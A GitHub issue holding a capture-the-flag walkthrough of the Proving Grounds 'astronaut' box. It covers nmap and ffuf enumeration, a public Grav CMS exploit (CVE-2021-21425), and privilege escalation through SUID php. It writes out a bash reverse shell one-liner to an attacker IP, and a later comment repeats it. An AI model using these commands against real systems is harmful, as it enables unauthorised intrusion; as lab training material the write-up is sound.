search

WDavid404 / PG-Box

PG box workthough note
0 stars 0 forks source link

astronaut (easy) #11

Open WDavid404 opened 4 months ago

WDavid404 commented 4 months ago

Keypoints:

WDavid404 commented 4 months ago 
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD

Access ”http://192.168.243.12/grav-admin/“ --> Grav, Trilby Media image

ffuf -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 100 -u http://192.168.243.12/grav-admin/FUZZ image Try access these pages but no progress (Try admin/admin login but failed)

search exploits info fro Grav and Trilby (even though we don't know the version info ) --> https://github.com/CsEnox/CVE-2021-21425

Anyway, try it:

At firts, need to edit 449973.py file:

  1. change target IP to the target host
  2. change base64 value by echo -ne "bash -i >& /dev/tcp/192.168.45.192/4444 0>&1" | base64 -w0 ===> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5Mi80NDQ0IDA+JjE=
    image

Run 'python3 49973.py' --> we get reverse shell from the target host! image

linpeas --> As Exghost box, we saw [CVE-2021-4034] PwnKit but it didn't work 😄 image

find / -perm -u=s -type f 2>/dev/null --> /usr/bin/php7.4

According to https://gtfobins.github.io/gtfobins/php/, we can get root (even though id still is www-data) image

Phoenix1112 commented 1 week ago

@WDavid404 The exploit at "https://github.com/CsEnox/CVE-2021-21425" has changed and the exploit you show with the screenshot does not exist. Even though I had a vulnerable site, I could not trigger it with the existing exploit. Do you have the file named 449973.py? Or can you give me an example raw request? Or which command should I use with the -c command in the current exploit?Even though I use "bash -i >& /dev/tcp/ip/4444 0>&1" with the -c parameter, the exploit is not triggered.